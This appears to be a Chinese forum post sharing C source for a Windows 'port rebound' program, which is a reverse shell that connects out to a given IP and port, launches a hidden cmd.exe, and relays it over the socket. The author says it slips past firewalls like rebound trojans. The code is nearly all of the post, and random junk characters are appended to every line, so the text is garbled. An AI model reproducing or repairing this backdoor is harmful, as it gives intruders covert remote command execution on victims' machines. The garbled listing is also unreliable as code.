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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :?)q"hE  
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/* ============================== E8aD[j[w  
Rebound port in Windows NT h~Z:YY)4  
By wind,2006/7 TH~"y  
===============================*/ 0"mr*hyj  
#include QghL=  
#include ,Mn`kL<F  
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#pragma comment(lib,"wsock32.lib") ztC,[   
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void OutputShell(); Rvj[Csgi  
SOCKET sClient; h9&0"LHr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CI|#,^  
{t('`z  
void main(int argc,char **argv) J c:j7}OOV  
{ yM?jiy  
WSADATA stWsaData; `I(5Aj"  
int nRet; v;s^j  
SOCKADDR_IN stSaiClient,stSaiServer; R]d934s  
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if(argc != 3) I%mGb$ Q  
{ =BeJ.8$@VC  
printf("Useage:\n\rRebound DestIP DestPort\n"); V B=jK Mi  
return; Bdib)t[  
} z2;<i|Ez0  
+"VXw2R_e  
WSAStartup(MAKEWORD(2,2),&stWsaData); |#22pq?RP  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wHs4~"EY9  
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stSaiClient.sin_family = AF_INET; [XD3}'Aa  
stSaiClient.sin_port = htons(0); %eJE@$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [h0)V(1KR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) xp]_>WGq  
{ Qt=OiKZ  
printf("Bind Socket Failed!\n"); Nkk+*(Z  
return; &C6*"JZ4  
} mHc5NkvQC  
VW**N}1#C  
stSaiServer.sin_family = AF_INET; lkb,UL;V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GO6uQ};  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LC0g"{M  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bqQR";  
{ BBj>ML\X  
printf("Connect Error!"); R7Z!  
return; <a& $D  
} !eD f}~  
OutputShell(); Z:>ek>Op  
} uL=FK  
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void OutputShell() *;~i\M9_  
{ P"Y7N?\](  
char szBuff[1024]; LbnW(wr6:(  
SECURITY_ATTRIBUTES stSecurityAttributes; 9@ :QBe3]  
OSVERSIONINFO stOsversionInfo; gO_d!x*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]U.*KkQ  
STARTUPINFO stStartupInfo; OTWp,$YA=  
char *szShell; U;FJSy  
PROCESS_INFORMATION stProcessInformation; `'b2 z=j  
unsigned long lBytesRead; \mNN ) K@  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2:;;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dEPLkv  
stSecurityAttributes.lpSecurityDescriptor = 0; S H6T\}X:  
stSecurityAttributes.bInheritHandle = TRUE; ed$w5dv  
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H ~lvUHN  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .c\iKc#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); c6MMI]+8  
>ui;B$=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $[+)N ~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T< o8lL  
stStartupInfo.wShowWindow = SW_HIDE; %ZGG6Xgw  
stStartupInfo.hStdInput = hReadPipe; Nt7z ]F`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M^.>UZKyl  
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GetVersionEx(&stOsversionInfo); E[c6*I  
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switch(stOsversionInfo.dwPlatformId) *)s^+F 0  
{ 8_T9[ ]7V8  
case 1: {Hzj(c~S?  
szShell = "command.com"; q;QE(}.g  
break; @81N{tg-  
default: Y {|is2M9'  
szShell = "cmd.exe"; $ <Mf#.8%  
break; Sgn<=8,6c  
} 96<0=   
T (? CDc+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mi@ni+2Tn  
#E#Fk3-ljQ  
send(sClient,szMsg,77,0); Koc5~qUY]  
while(1) ^#4Ah[:XA  
{ 5.QY{ +k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j5rMY=|F  
if(lBytesRead) K7wU tg  
{ Y-~ M kB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )Kq@ m1>@  
send(sClient,szBuff,lBytesRead,0); Hd_,`W@  
} =4gPoS  
else z[0tM&pv  
{ W6V((84(O  
lBytesRead=recv(sClient,szBuff,1024,0); FA{(gib@9  
if(lBytesRead<=0) break; %+ytX]E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L+8O 4K{  
} +g_m|LF  
} >tm4Rg~y  
"%#CMCE|f  
return; m |Sf'5fK  
}
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